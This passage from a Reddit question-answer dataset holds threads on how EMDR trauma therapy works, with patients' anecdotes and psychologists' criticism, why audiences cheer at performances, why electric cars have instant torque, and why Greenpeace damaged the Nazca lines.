"eh52xqu", "eh53wi5", "eh54two", "eh58sp1", "eh5aziw", "eh5dfy0", "eh5f8a9", "eh5gmwf", "eh5pd60", "eh5vvl5", "eh6bylk"], "score": [47, 25, 14, 65, 54, 620, 2075, 44, 88, 2, 98, 15, 2, 11, 11, 240, 34, 6, 13, 2, 9, 2, 4, 10, 8, 4, 3, 2, 2, 2, 7, 2, 2, 5, 9, 3, 2], "text": ["The goal of EMDR therapy is to process completely the experiences that are causing problems, and to include new ones that are needed for full health. \"Processing\" does not mean talking about it.\n\n\"Processing\" means setting up a learning state that will allow experiences that are causing problems to be \"digested\" and stored appropriately in your brain. That means that what is useful to you from an experience will be learned, and stored with appropriate emotions in your brain, and be able to guide you in positive ways in the future. The inappropriate emotions, beliefs, and body sensations will be discarded. Negative emotions, feelings and behaviors are generally caused by unresolved earlier experiences that are pushing you in the wrong directions. The goal of EMDR therapy is to leave you with the emotions, understanding, and perspectives that will lead to healthy and useful behaviors and interaction.\n\nSource: _URL_0_", "Massively oversimplified (Don't @ me)\n\nI've seen it done. The practitioner has the target follow their hand back and forth and up and down until the practitioner find a few areas where the eyes don't follow smoothly.\n\nThe practitioner then has the target move the eyes back and forth through the rough area until it is smooth(er).\n\nDon't know the outcome of the session I saw (in the context of an NeuroLinguistic Programming training session).\n\nAs far as I understand the idea behind it, as the eyes move back and forth a correlating party of the brain is activated. Jerky eye movement correlates to a problematic are if the brain.\n\nRepeated activation of that area forces the brain to process whatever that part of the brain relates to.", "Best explanation I saw essentially described traumatic memories as being stored deep in the brain\u2019s filing system.\n\nEMDR requires the subject to think of the memory, effectively bringing it from deep storage (hard to overwrite) into short term storage (more easily overwritten). At this point the subject focuses on the moving light which causes the brain to react as if in REM similar to sleeping, helping both rewrite the traumatic memory and disassociate it from the raw feelings trapped in the deep storage version. \n\nAm in no way qualified, am simply regurgitating something I saw recently and hoping I haven\u2019t botched the explanation too much!", "It doesn\u2019t. The only proven effective part of EMDR isn\u2019t new to therapy, the exposure piece. All the other aspects of EMDR are one step away from essential oils and magic magnets. Source: I\u2019m a licensed psychologist. Also, the only studies that show EMDR to be effective, originate from the cult of EMDR. ", "2 war period vet here (Desert Storm/OIF). I'm currently in Cognitive Processing Therapy at the VA for my PTSD. The other thing they do is EMDR. It's not what was decided for me but those I know who have done it swear by it.\n\nAnd anyone who's had their release would be willing to shoot shark piss up their nose to feel normal again, so some flashing lights should be doable. ", "Am a trauma therapist who has worked with 5 year olds so I'll give it a go.\n\nSometimes when scary things happen to us, our minds protect us from our emotions by making us \"go numb\". This helps us survive the scary situation.\n\nIn a perfect world, when we felt safe again, we would be able to then feel the emotion and it will leave our body.\n\nUnfortunately, sometimes the emotion gets \"stuck\" in us, in our mind and we carry it around with us for years without realizing it. The emotion comes out from time to time, especially when we hear a \"trauma echo\", something that reminds us of the scary thing we went through. So, if the scary thing happened in a crowd, we might be triggered by another crowd in the future and the emotion will come out.\n\nIt's tricky though because the emotion might mutate. So what was once fear may transform into anger so much that you can't recognize the original scary emotion anymore.\n\nEMDR creates a trance like state by manipulating eye movement. Basically, what you're doing is allowing the individual to essentially go back to the trauma that caused the first emotion and allow them to process that emotion. This unsticks it from our mind and allows it to leave our body. We then will not be affected (or as affected) by our trauma echos in the future.", "Nobody knows *exactly* how it works. I wrote my masters thesis on EMDR and after a ton of literature research I still can't pin it down.\n\nThe core mechanic is *bilateral stimulation,* in other words an external stimulus is applied rhytmically from side-to-side. This is thought to enhance the accessibility to certain parts in the brain that store unprocessed negative memories, perhaps by inducing a mental state similar to REM sleep. Another theory is that *working memory* is retrieving the negative memories, but due to its limited capacity is reducing the negative emotions of that memory each time (because not the entire information can be retrieved) resulting in a modification of the memory towards one that is less negative over time.\n\n & #x200B;\n\nIf you are interested in this topic, I found this article to be pretty good:\n\nLee, C. W.,  &  Cuijpers, P. (2013). A meta-analysis of the contribution of eye movements in processing emotional memories. *Journal of Behavior Therapy and Experimental Psychiatry, 44*(2), 231-239. doi:10.1016/j.jbtep.2012.11.001\n\n & #x200B;\n\n\\[Edit:\\] Thanks for the Silver Award! I honestly didn't think that this comment would gain so much attention.\n\nIt was brought to my attention that the article above isn't publicly available and because my comment will be seen by so many people I wanted to add alternative reads (These are not ELI5 reads but easy reads can be found a plenty on google):\n\n**EMDR vs. CBT comparisson**:  Chen, L., Zhang, G., Hu, M.,  &  Liang, X. (2015). Eye Movement  Desensitization and Reprocessing Versus Cognitive-Behavioral Therapy for  Adult Posttraumatic Stress Disorder. *The Journal of Nervous and Mental Disease, 203*(6), 443-451. doi:10.1097/nmd.0000000000000306 - [_URL_0_](_URL_4_) \n\n**On bilateral stimulation(BLS):**  Amano, T.,  &  Toichi, M. (2016). The Role of Alternating Bilateral  Stimulation in Establishing Positive Cognition in EMDR Therapy: A  Multi-Channel Near-Infrared Spectroscopy Study. *Plos One,* *11*(10). doi:10.1371/journal.pone.0162735  - [_URL_3_](_URL_3_)\n\n**How the EMDR Protocol looks like:**  de Jongh, A. D., (2015). EMDR Therapy for Specific Fears and Phobias:  The Phobia Protocol. Eye Movement Desensitization and Reprocessing EMDR  Therapy Scripted Protocols and Summary Sheets.  doi:10.1891/9780826131683.0001 -[_URL_1_](_URL_5_) \n\n\\*\\*\\*This one is specifically for phobia and differs a bit from PTSD, but it's the one that i used for my studies on arachnophobia.\n\n**Video of auditory  &  visual bilateral stimulation on a computer (\\*Note: This can give some individuals headaches):** [**_URL_2_**](_URL_2_)\n\n\\*\\*\\*It's obviously going to be a bit different when done live in person with a therapist (less annoying for most people) but this is a good representation of what BLS is.\n\n & #x200B;\n\n & #x200B;", "The idea is: Trauma gets locked in your amygdala (iirc) and we use something called \u201cbilateral stimulation\u201d which means making both hemispheres of your brain work together to process the trauma and move it into long term memory. \n\nLike you\u2019re five: We use lights on your eyes and brushes on your skin to make both halves of your brain talk to each other to get over trauma.", "Honestly... I am currently training in EMDR therapy as a psychiatric nurse practitioner... and overall I find various explanations describing the active mechanism of EMDR hard to swallow. However, the evidence which suggests it is a very successful therapy is not so hard to swallow. If I can help one person it's all worth it.", "For the people who agree that EMDR works- do you agree that hypnosis works? Trying to see if EMDR is in the same camp. \nI recently took a multi day training in hypnosis and I did not care for it. I am interested in getting certified in EMDR, but if it\u2019s similar to what I was exposed to in hypnosis class, I will probably pass it over. ", "I\u2019ve taken EMDR a few times and it is really weird. I sat and started at these two big water droplets that reflected light off one side then the next second the reflection would go to the other side, idk if that makes sense but that\u2019s what it was. And while your watching these two water droplets move you think about the trauma. Once you\u2019re done it\u2019s weird how much of a weight feels lifted off of you. ", "I did EMDR after being diagnosed with PTSD. I saw a shrink for about 3 months, and in my own experience and opinion it did nothing for me except I would leave the sessions even angrier and more upset because I've been hyperfocused on my trauma while listening to interchanging beeps through a headset and the doctor asking to \"rate the emotion I'm feeling from 1-10\" every few minutes, I've refused to go back ever since. ", "Actually, I know someone going through this, and he swears that it\u2019s helping him in a way traditional therapy hasn\u2019t. \n\nFrom what I understand, and this is secondhand info, the patient is asked to remember a particularly traumatic event that continuous to have a negative effect on their life and\u2014very long story short\u2014it re-files that memory into another part of the brain in a manner that allows the patient more control over the extent to which that event governs their thoughts emotionally. The physical tapping or flashing lights help you to access the more logical side of your memory while recounting the event.\n\nA metaphor might be capturing a snake that\u2019s been biting everyone in your house, defanging it, and placing it in a terrarium to be taken out and inspected at your leisure and on your terms. It doesn\u2019t kill the snake or make it disappear, but it allows you to examine and handle it without the tremendous fear of getting bit.", "I have gone through EMDR, and heard it theorized upon by NLP teachers. My EMDR was done by a license psychologist who was rather candid that they aren\u2019t entirely sure how it works, only that it allows people to gain deep insights about traumatic experiences. You basically reaccess the memory one tiny piece at a time until you have examined every shred of it, understood it from every angle possible (as opposed to only understanding and relating to it as the helpless victim), and almost like exposure therapy, dealt with the emotions and triggers until they don\u2019t cause you to react anymore.\n\nMeanwhile, NLP theorizes that present and past memories are stored in different areas of the brain, and having your eyes continuously alternate side to side, you don\u2019t stay in either area very long. So, you don\u2019t get \u201cstuck\u201d while discussing the past, and constantly zipping to the present allows you to use your now-knowledge to re-examine and better process your past experiences. They would also say that by constantly having a slight distraction to focus on, you can access overwhelming prior experiences without being buried by them. \n\nI can tell you that it was very tiring, and sometimes I\u2019d be \u201cstuck\u201d in one aspect or time blip/scene for an entire session, if not more. But every time I would start over and trudge back through the whole memory until that point in time, it got easier. And it is a physical feeling of aha/relief when you have fully integrated and understood a traumatic experience. For me it created a keen awareness of the pain and sadness of ALL parties in a traumatic situation- even the perpetrators. I was able to see and understand that a thing happened, but that I wasn\u2019t a victim anymore, and/or that if I am, then so were the other people involved. Other sessions for other traumas resulted in the end of recurrent nightmares completely, and I\u2019d had that same recurring nightmare for 25 freakin years.", "so how my therapist explained it (and I was very skeptical that it was woo) was that when the trauma happened, the memory got kind of stuck and I never really processed it. By engaging both sides of the brain and crossing the hemisphere it helped me access the physical and emotional sensations of the memory and really process them. It was exhausting though - we spent a couple sessions with it and it was HARD work and really exhausting. But I did find it helped immensely.", "There is a lot of psychobabble here, especially in regards to how EMDR achieves its outcomes.  Opinions are not science, unless those opinions are based on rigorous empirical assessment. There is a less polite turn of phrase to this effect. \n\n\u201cRegardless of the validity of its theoretical underpinnings, EMDR has empirical support in that it consistently outperforms no-treatment controls and demonstrates similar outcomes to exposure- and cognitive-based psychotherapies for PTSD.\u201d [Source: _URL_0_]. \n\nThe creators of EMDR, and anyone else, can hypothesize all they want. That\u2019s a long way from an actual theory. Many of the explanations posited here do not do justice to explaining how memory works. The neural mechanisms of learning, memory and exposure to trauma are barely understood. There is no \u201cfiling cabinet\u201d or \u201chard drive.\u201d  Trauma exposure itself has been demonstrated to have structural impacts on portions of the brain in the short term, but 2/3 of people exposed to traumatic events appear to recover spontaneously.  \n\nThere is also the element of individual variation of response to any form of treatment. Some will benefit from one form of treatment and others will not, and there are graduations of response within a useful treatment. \n\nAny person \u2014 professional or lay \u2014 who states unequivocally that any treatment is 100% effective will conversely be incorrect.  Not knowing the actual mechanism of improvement is common in this field, but creating explanations without scientific merit or testability is not helpful, and can add to the snake-oil feel. \n\nI\u2019m a board certified licensed psychologist with 25 years experience in trauma and in trauma research.  ", "Is this type of therapy taken seriously by most mental health professionals? \n\nI tried it a year ago with my counselor and it seemed to do nothing. SHe would ask me to think about a problem and have me focus on her fingers or on these two handheld things that vibrated in my hands. Then after 30 seconds or so she would ask me how I feel. We did it a bunch of times and each time I felt no different than before we started. The couple of times when I did feel different after EMDR, it wasn't because I really felt differently about my problems, it was because I was distracted by how ridiculous this therapy seemed. \n\nAfter two appointments, I told my counselor, \"I don't think this is working,\" and she seemed quite offended. ", "Fact is, EMDR is essentially the same thing as trauma-focused Cognitive Behavioral Therapy. Studies have shown the two are equally efficacious. EMDR just sounds fancier and appeals to people's sense of mysticism because the bilateral stimuli sounds mysterious and sciency. The lady who created EMDR literally said moving her eyes back and forth helped her feel better, so therefore it must work for everyone.\n\nIt's very controversial, but personally I don't care if someone with PTSD gets CBT or EMDR because they are equally efficacious and do the same thing, EMDR just has some added BS that doesn't really do anything. I do get pissed if EMDR therapists charge more for it than CBT, or tell patients it is better. \n\nFrom the Wiki Page: \" A 2000 review argued that the eye movements did not play a central role, that the mechanisms of eye movements were speculative, and that the theory leading to the practice was not falsifiable and therefore not amenable to scientific inquiry. It went on to refer to EMDR as \u201cpseudoscience\u201d, citing non-falsifiability as one of several hallmarks of pseudoscience that EMDR met.[37] As discussed in 2013 by Richard McNally, one of the earliest and foremost critics: \"Shapiro\u2019s (1995) Eye Movement Desensitization and Reprocessing (EMDR) provoked lively debate when it first appeared on the scene in the late 1980s.... Skeptics questioned whether the defining ingredient, bilateral eye movement, possessed any therapeutic efficacy beyond the imaginal exposure component of EMDR.... A 2001 meta-analysis suggested that EMDR with the eye movements was no more efficacious than EMDR without the eye movements (Davidson  &  Parker, 2001), implying that \"what is effective in EMDR is not new, and what is new is not effective\" (McNally, 1999, p. 619).[10][39][40]\"\n\nFor more info: _URL_0_", "From my personal experience of undergoing 2 1-hour sessions a week for just over a year... it doesnt. Others' mileage may vary but it did absolutely nothing for me. ", "I had a few sessions of it and as far as I can tell, it just makes you frustrated and a little embarrassed when you're unable to take it seriously.\n\nI'm glad some people have found it helpful but man, for me, it was the worst.", "I'm doing EMDR right now, so I'm going to tell you what my therapist told me:\n\nYour memories are like a basket of laundry. Reprocessing them is like folding the laundry so you can finally put it away. ", "Where are the international peer reviewed randomized double blind studies? All I've seen here is anecdotal evidence which is not proof.", "As somebody who did EMDR to treat PTSD, it fucked me up more. CBT is where it\u2019s at. That shit changed my life. No longer jump every time a car horn goes off, no longer have panic attacks every time I\u2019m in public. No longer worry if every single person I walk by is going is assault me. \n\nEMDR did not work for me, though I\u2019m sure it works for lots of people. Don\u2019t be discouraged if it doesn\u2019t work, there are other therapies you can try. I would recommend Cognitive Behavioral Therapy ", "Not sure this will even get read given how many comments there are, but here it goes: I am someone who went through EMDR therapy for a severe panic disorder. That shit works miracles. The best way that I can explain it is this, it's like an epiphany goes off inside your mind, like a neural shift inside the way your brains works or something. I went from not being able to leave my house without a panic attack happening, to not having need of medication in just about eight months. There is a huge shift in perspective that I went through during the therapy and even afterwards, like things became more clear to me, and things that once filled me with dread were unearthed for what they were: benign events without stake in my life. Hope this helps to glean some understanding to what EMDR can do for someone!", "Numerous studies have shown that it's basically the same as cognitive behavioral therapy.  The eye movements are just a marketing gimmick.", "It's essentially just exposure therapy. Theres no evidence that moving the eyes aids in the therapy. It involves having the patient think about the traumatic event in detail, which is exposure. It makes the response to the traumatic event less severe over repeated exposures, just as being repeatedly exposed to spiders would make your anxiety response lessen.", "My wife is certified in brain spotting which is equally baffling. I've picked her up from trainings and groups of therapists were outside practicing because it was nice out and there was space.\n\nThey hold a pointer in the view of the recipient and track their eye movement. When they get to a point where they gaze their vision it's a \"brain spot\" and they lock the pointer in place so the client can remain in that space to work through the issue.\n\nThe client doesn't even have to talk during this if they don't want. I walked past these psychotherapists practicing and they were just staring. Some were crying as they were clearly healing through something.", "How is it that no one is addressing \"what the fuck is emdr?\"\nEveryone here seems to know exactly what it is and why their opinion is correct to a certainty. And I keep scrolling to see the one jackass who asks \"what the hell are you talking about?\"\nSo I guess, what the hell are you guys talking about?", "Is it more than just snake oil?  I remember reading about it in undergrad back in 2008, but it just seemed like some kind of weird : \"fad\" idea.", "It's hypnosis. Shapiro never acknowledged it but it's all about it. Much like Fran\u00e7ois Roustang's work.", "I am currently in the middle of this treatment. It has been life changing, and I highly recommend it.\n\nFrom the patient\u2019s point of view, it starts by making the memories hazier and harder to access. The relief is palpable and indescribable. After a few rounds, it becomes almost nonexistent. It\u2019s almost like trying to remember what you had for breakfast yesterday. You know it\u2019s still there but it\u2019s almost unimportant.", "When you have a memory you actually do not remember the original memory but only the last time you thought about it. So during EMDR therapy a therapist applies an external stimulation while you are recounting a traumatic memory. By reprocessing the memory with the external stimuli it is essentially the same thing as dulling a knife. You simply do not remember the traumatic aspect and more and more you have the EMDR sessions. Think of it as a cassette tape. Your re-recording the original dramatic memory with more and more external stimuli and therefore less dramatic response.", "Anecdotal evidence warning. I haven't read all the comments cause I'm drunk so I don't know if what I have to say will add anything. I have PTSD and I have undergone EMDR and traditional therapy. I am not a big believer in EMDR. I believe that traditional therapy was far more beneficial than EMDR. When I worked with an EMDR therapist, the most useful part was talking through the experience, which was tantamount to exposure therapy. What was useful was me being able to talk about these things that I had not really processed. And what was also useful was forcing me to be exposed to what caused trauma. And these are all things I got with a \"traditional\" (PhD psychologist) therapist, who not only had me talk through these issues, but was skilled enough to work through them with me. As opposed to relying on eye-movement processing or something. So, yeah, I'm a fan of traditional therapy. ", "Eh, some sources say the eye movement part of EMDR is useless and what works is just processing through the traumatic event by recounting it. It\u2019s basically weirder exposure therapy ( I\u2019ve been through it). ", "I\u2019m not a doctor, so I can\u2019t give those types of specifics, but 10 years after being sexually assaulted, and having MAJOR PTSD as a result, I was asked by a therapist to try EMDR. I had 2 sessions, and I\u2019m cured. What I mean by \u2018cured\u2019 is: when I think about the attack I don\u2019t go into panic mode, and then shut down for days. When I have to discuss the situation, or it\u2019s brought up with close friends or relatives, I don\u2019t freak out. When it\u2019s the \u2018anniversary\u2019 of the \u2018occurrence\u2019 I don\u2019t get depressed for days on end and cry all the time (I was supposed to have gone w my sister and our friends to Vegas for her birthday, and I got stuck going on a business trip to Europe. My boss drugged and raped me on a train\ud83d\ude15). It\u2019s like, the \u2018occurrence \u2018 still happened, and it\u2019s still sucks that it happened, but I can handle the thought of it rather than feeling the pain and letting it wreck me. I was in \u2018talk\u2019 therapy for a few years, but it just left me feeling more wound up, and victimized over and over-like there is never a resolution. After EMDR I became desensitized to the pain, and the thought of the \u2018occurrence\u2019. \u2018Desensitize\u2019 sounds like \u2018ok, so now I\u2019m a zombie\u2019, but it\u2019s not like that. And the \u2018R\u2019 is for \u2018repossessing\u2019 not \u2018reprogramming\u2019. It helps you repossess the feelings, so you don\u2019t go crazy. I\u2019m still myself, but better. My therapist said a lot of her patients are/were veterans, and it had helped them greatly. I always recommend ppl w PTSD look into it. I know everyone is different, but when you are in pain, and you just want your life back-you\u2019ll try anything. P.S. There are \u2018self EMDR\u2019 videos on YouTube-do NOT try doing EMDR without a doctor that\u2019s been trained to do this. It\u2019s still working with your brain, so best to be with a professional, not YouTube. Hope this helps anyone looking to change their lives for the better. P.S.S. It will be 17 years on March 2 since I was assaulted-EMDR saved my life, and my relationships. Look into it.", "This will be controversial, but it may not work at all. At least not for the reasons people think.\n\nFrom [Wikipedia](_URL_0_):\n\n >  \"A 2000 review argued that the eye movements did not play a central role... it went on to refer to EMDR as pseudoscience.\"\n\nand\n\n >  \"A 2001 meta-analysis suggested that EMDR with the eye movements was no more efficacious than EMDR without the eye movements.\"\n\nSo it may work. It clearly helps many people. But its efficacy may have nothing to do with eye movements.\n\nIf you want to move your eyes, great! If not, that's fine too. The science suggests that the result will be the same.", "I did it and it worked! I\u2019m not an expert but can definitely recommend it, it absolutely saved my life. This won\u2019t be a \u201chere is the science\u201d comment but a \u201chere\u2019s how it worked for me\u201d one.\n\nFor years I struggled with PTSD from childhood abuse. Developed alcoholism, attempted suicide several times, lost jobs, got arrested for DUIs. Tried different therapies (usual cognitive behavioral, inpatient rehab, outpatient sessions, AA) and medications (Paxil, Prostiq, Celexa, Klonopin, Trazadone). Finally said \u201cfuck it, I\u2019m getting my medical marijuana card, pot is safer than alcohol and maybe it\u2019ll help.\u201d To get your card in Connecticut you have to be diagnosed by a MMP (medical marijuana program) doctor and prescribed by a different doctor. \n\nDespite having already been diagnosed years earlier, I went to the first doctor, got diagnosed again, then underwent the therapy. I sat in his office in an old mill on a river, comfortable in a chair facing him. He had me mentally walk through my trauma while focusing on his hand. I felt like a complete moron but \u201cplayed along.\u201d My PTSD discomfort (increased heart rate, sweating, nervousness, panic, acid reflux, fight or flight, etc) came up, but over the next few minutes of literally watching him wave his arm rapidly, listening to the sound of the water falling outside the window... it went away. We took a little break, then he had me focus on the memories again. I brought the memories up... and that was it. It was as if I was remembering waiting around to get my oil changed the week before: yeah that happened, but it\u2019s in the past and I\u2019m here now.\n\nI\u2019m still very socially awkward, and have some sleeping issues (both not uncommon), so the medical marijuana helps me in those regards. I\u2019ve been sober from alcohol since the session, my credit score has gone up, I\u2019ve been steadily employed since the session and had my first performance bonus ever, I have zero desire to kill myself or drink, I don\u2019t get panic attacks or acid reflux, I\u2019ve lost a bunch of weight thanks to eating better and intermittent fasting instead of plowing through food at midnight (and drinking), the list goes on.\n\nIf you\u2019re dealing with a person with mental illness / addiction and think shaming them or throwing them in jail will help, you\u2019re the problem. If anyone reading this is a doctor who practices this, thank you. If you have PTSD I\u2019m not a doctor and it might not work for everyone but the benefits to myself and many others have been enormous."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://emdrcanada.org/emdr-defined/"], [], [], [], [], [], ["https://www.researchgate.net/publication/328914155\\_Cognitive\\_Behavioral\\_Therapy\\_versus\\_Eye\\_Movement\\_Desensitization\\_and\\_Reprocessing\\_in\\_Patients\\_with\\_Post-traumatic\\_Stress\\_Disorder\\_Systematic\\_Review\\_and\\_Meta-analysis\\_of\\_Randomized\\_Clinical\\_Trials", "https://www.researchgate.net/publication/281440675\\_EMDR\\_Therapy\\_for\\_Specific\\_Fears\\_and\\_Phobias\\_The\\_Phobia\\_Protocol", "https://youtu.be/DALbwI7m1vM?t=10", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5061320/", "https://www.researchgate.net/publication/328914155_Cognitive_Behavioral_Therapy_versus_Eye_Movement_Desensitization_and_Reprocessing_in_Patients_with_Post-traumatic_Stress_Disorder_Systematic_Review_and_Meta-analysis_of_Randomized_Clinical_Trials", "https://www.researchgate.net/publication/281440675_EMDR_Therapy_for_Specific_Fears_and_Phobias_The_Phobia_Protocol", "https://youtu.be/DALbwI7m1vM?t=10**"], [], [], [], [], [], [], [], [], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5126802/#!po=3.47222"], [], ["https://en.wikipedia.org/wiki/Eye_movement_desensitization_and_reprocessing"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://en.m.wikipedia.org/wiki/Eye_movement_desensitization_and_reprocessing"], []]}
{"q_id": "28pu37", "title": "Today, screaming and whistling are commonplace as ways to show appreciation at the performance, but if I watch old performances people just applaud. When and why did this practice begin?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/28pu37/today_screaming_and_whistling_are_commonplace_as/", "answers": {"a_id": ["cidcy0q"], "score": [6], "text": ["I wholly doubt that this is up to the standards of /r/AskHistorians, but there was a thread in another sub yesterday [with this comment by a classical musician about when symphony/orchestra concerts became quiet and dignified.](_URL_0_) ([context](_URL_1_))"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/nottheonion/comments/28na8g/leading_scientist_ejected_by_audience_after/cicl4gf", "http://www.reddit.com/r/nottheonion/comments/28na8g/leading_scientist_ejected_by_audience_after/cick1yv"]]}
{"q_id": "fupjc3", "title": "many people have said electric cars have quick acceleration due to its \"instant torque\". what exactly does that mean and why can't petrol powered cars do it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fupjc3/eli5_many_people_have_said_electric_cars_have/", "answers": {"a_id": ["fme2rjz", "fme3gp1", "fme5gvv", "fme5ywv", "fmew1xi", "fmewxyl", "fmeytae"], "score": [5, 378, 21, 2, 9, 3, 5], "text": ["Im new to this kind of thing but I think I can answer, sure others will have better answers.\n\nWith petrol/gas, the fuel is sent to the cylinders (which ultimately drive the wheels in a sense) which then goes through 4 strokes. Intake (of the fuel/air mixture), compression (of the fuel air mix), power (from the explosion), outtake (exhaust). These though fast, take time, average car has 4 cylinders all at a different part of the 4 strokes at a given time. The higher performance car, the more cylinders. Now I\u2019m not into cars, but instead planes and your average general aviation plane has 4 cylinders which I can presume is what basic cars are like too. \n\nWith electricity, think of turning on a switch. Instantly, you have light. Transfer the same principle to cars.", "Electric cars are like a dimmable light switch, as soon as you move the dial the light will turn on because electricity is pretty much instant and but more importantly its constant. \n\nPetrol engines is like a kid pushing a heavy merry-go-round/roundabout. When a car is idling, the kid is only moving it with one hand with just enough force it spins. At this point the wheel has no torque and can be stopped easily. If you want to spin faster, it's going to take multiple pushes for the wheel to start spinning faster. Petrol engines are pulses of force from well timed series of explosions (internal COMBUSTION engine), not continuous force like electricity. You can hear the pulses easily on weed whackers. As you open the throttle you can hear the pulses get faster and closer together.\n\n\nNow imagine a roundabout with 4 handles on it (like a compas, so you have a north handle, A east handle, bla bla bla). A petrol engine can only push on the north handle, so from a dead stop you have to push it hard enough so it spins all the way around which is kinda hard. Once you spin it and gain speed you can either add more weight and keep spinning at the same pace or let it spin by itself for a little until you need to push again. Because eletric cars are constant force, not pulses of force, you dont need to spin it by the handle; you can constantly apply force to make it spin.\n\nThe reason I said 4 handles is because a petrol engine runs on 4 cycles called suck-squeeze-bang-blow.\nBang- gas ignites and forces piston down spinning a crankshaft creating a lot of force/energy/momentum \nBlow- the momentum pushes the piston back up clearing the cylinder of exhaust. This cycle creates no force/momentum/energy, but actually takes energy away.\nSuck- piston goes down sucking in fuel/air. Again, takes energy, doesnt create anything.\nSqueeze- piston goes up, requiring momentum to compress the fuel/gas so it may explode. If there is enough momentum to complete the squeeze part, the bang cycle will happen next creating a cycle. \n\nThe crankshaft then can send power to the wheels. If you send too much power to the wheels too soon that it cant complete the cycle, you will stop the cycle (kill the engine), otherwise you go back to the earlier problem will it take time to spin faster and faster with pulses.\n\n_URL_0_\n\nHere you can see examples of the pulses. Cars use the 4stroke, weed whackers and similar small engines are 2 stroke", "the simplest reason is fuel based engines have a max torque at a specified rpm.  very common for today's vehicles to be around 5000 rpm for gasoline.\n\nelectric motors have all their torque available even from a stopped position.  so all that strength is available immediately from the get go, whereas an engine has to build up to the point of highest efficiency.", "Electric motor-  electricity is switched on instantly pulling the motors magnets at selected power level.  There is no power curve, it\u2019s on or off at whatever power level you chose.  \n\nCombustion engine - there is a power curve, the power will vary as the engine revolutions increase.  At some point the engine will make the most power, this takes time.", "A petrol/diesel engine gets it's torque from a series of bangs. The electric engine gets it's torque from magnets constantly pulling on each other. To get torque up on a petrol engine, you need more bangs per time. EDIT: As u/PriorProject points out in a comment below, the only way to do this is to speed the engine's rotation speed up, and this takes some time.\n\nThe electric engine increases torque directly when you increase current through the electromagnets.\n\nNote that a steam engine, while using cylinders and pistons, does have constant force, as the steam pushes on the cylinders all time (however, as the cranked axle rotates, the effective lever still makes torque vary a bit, hence why steam locomotives have trouble with [wheel-slip](_URL_0_), it's rather spectacular)", "Lots of explanations for why gas is slow, but no explanations on why electric is fast other than \"it *is*.\"\n\nBatteries store energy in chemical bonds that are constantly trying to release their energy, but are prevented from doing so by the battery controller (imagine a flow gate on a dam preventing water levels from equalizing.) When you press the accelerator, a computer reads that input on the order of microseconds, then tells the engine, also in microseconds, that it needs to go faster, and the engine tells the battery to open the flow gates, also in microseconds, which gives power to the engine, which gives power to the tires.\n\nThe slowest step in this process is your ability to press the pedal, which takes a few tenths of a second.\n\nEach step is individually so fast because it's driven by power electronics, which are at this point a few nanometers long, and not by moving mechanical valves a few *inches* (or centimeters for you who don't use freedom units) long that have much higher inertia and therefore take longer to move.\n\nHybrid cars actually try to get the best of both worlds, having an electric motor to provide the fast torque and high torque at low speeds, but a gas engine for high energy density (gasoline stores hundreds of times more energy per kg than batteries)", "Because electric motors don't \"stall\" in the same way that combustion engines do.\n\nAn electric motor works by sending electricity through a coil of wire inside a frame of magnets (simplification). The electricity generates a magnetic field that pushes against the magnets in such a way that the rotor wants to rotate. Depending on the amount of power you give it, the opposing magnetic fields can generate a *lot* of force. If you've ever played with strong magnets, you've experienced how much force opposing magnetic fields have.\n\nUner \"stall\" conditions, an electric motor will consume its maximum current rating, and all of that energy is immediately available as rotational force on the rotor. In other words, torque. (some is also lost as heat, but I don't want to do math). While an electric motor is stalled, it's still consuming energy, and still applying force to the rotor. It will stay in this state until you cut power, the rotor is allowed to move, or the motor overheats and shuts off to protect itself.\n\nNow, a combustion engine has an entirely different stall behavior. An engine relies on lots of mechanical parts moving around at just the right time in just the right sequence in order to keep itself going. If you've ever driven a manual transmission, you've almost certainly stalled the engine. If the torque needed to move the wheels is greater than the torque the engine can provide on that stroke, the engine simply stops. The next piston in line doesn't move up to the top of its cylinder, and the next combustion stroke isn't completed. It all just stops, and no more torque is being created.\n\nIn order to prevent a combustion engine stalling, we have clutches and gears designed to *reduce* torque. The engine *must* keep moving or it will stall, so we have to limit torque applied to the wheels to under what the engine can produce. On top of that, a combustion engine can generate more torque at higher speeds, but it's not super easy to start a car from a standstill with the engine already running at its peak speed.\n\nTo sum up, it's because electric motors generate torque through a static electromagnetic field, and combustion engines generate torque through a timing-sensitive series of explosions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://images.app.goo.gl/QADYf5ELpzC7ENFB6"], [], [], ["https://youtu.be/5J91kqASNO4?t=215"], [], []]}
{"q_id": "2p4d1a", "title": "why would greenpeace damage a world heritage site like the nazca lines?", "selftext": "Here's one of the many articles on Greenpeace damaging the World Heritage site. I just can't understand why you would think that doing something like that would be a decent idea-whether or not it is for a good cause. \n_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2p4d1a/eli5_why_would_greenpeace_damage_a_world_heritage/", "answers": {"a_id": ["cmt8t3n", "cmtar6b", "cmtbnpk", "cmtem0c", "cmtg4vw", "cmtke50", "cmtl9hw"], "score": [78, 25, 45, 3, 2, 4, 9], "text": ["Because they are idiots with grand ideas.\n\nThe area is off-limits because it's easy to make permanent marks to the ground, and the group didn't realize that prancing all over the place could cause harm to the site.", "They are so self righteous that they believe the end justifies the means.", "Because a good portion of Greenpeace 'activists' are merely Rent-A-Crowd idiots who crave attention and thrive on conflict and controversy.\n\nIf you managed to administer some kind of reliable truth serum to them, many would be wholly uninterested in actually making a real difference to environmental sustainability. Lots would just be there because they have nothing else to do with their lives.", "Famous people/groups enjoy controversy, especially at a large scale, because it gets them attention from media outlets and social media.\n\nNotice how many media outlets published stories about it, with pictures and all?", "Free publicity. Every website and social media site is publicizing their slogan.", "Because publicity, media attention, and feeling like they're making a difference are more important to them than *actually making a difference.* ", "The same reason they stormed an active drilling rig in the Russian arctic on the pretext that they were \"saving the Arctic.\"\n\nImagine if their callous regard for safety and ignorance of what a drilling rig does caused a blowout and a Deep Water Horizon disaster in the Arctic, where oil cleanup is impossible."]}, "title_urls": [], "selftext_urls": 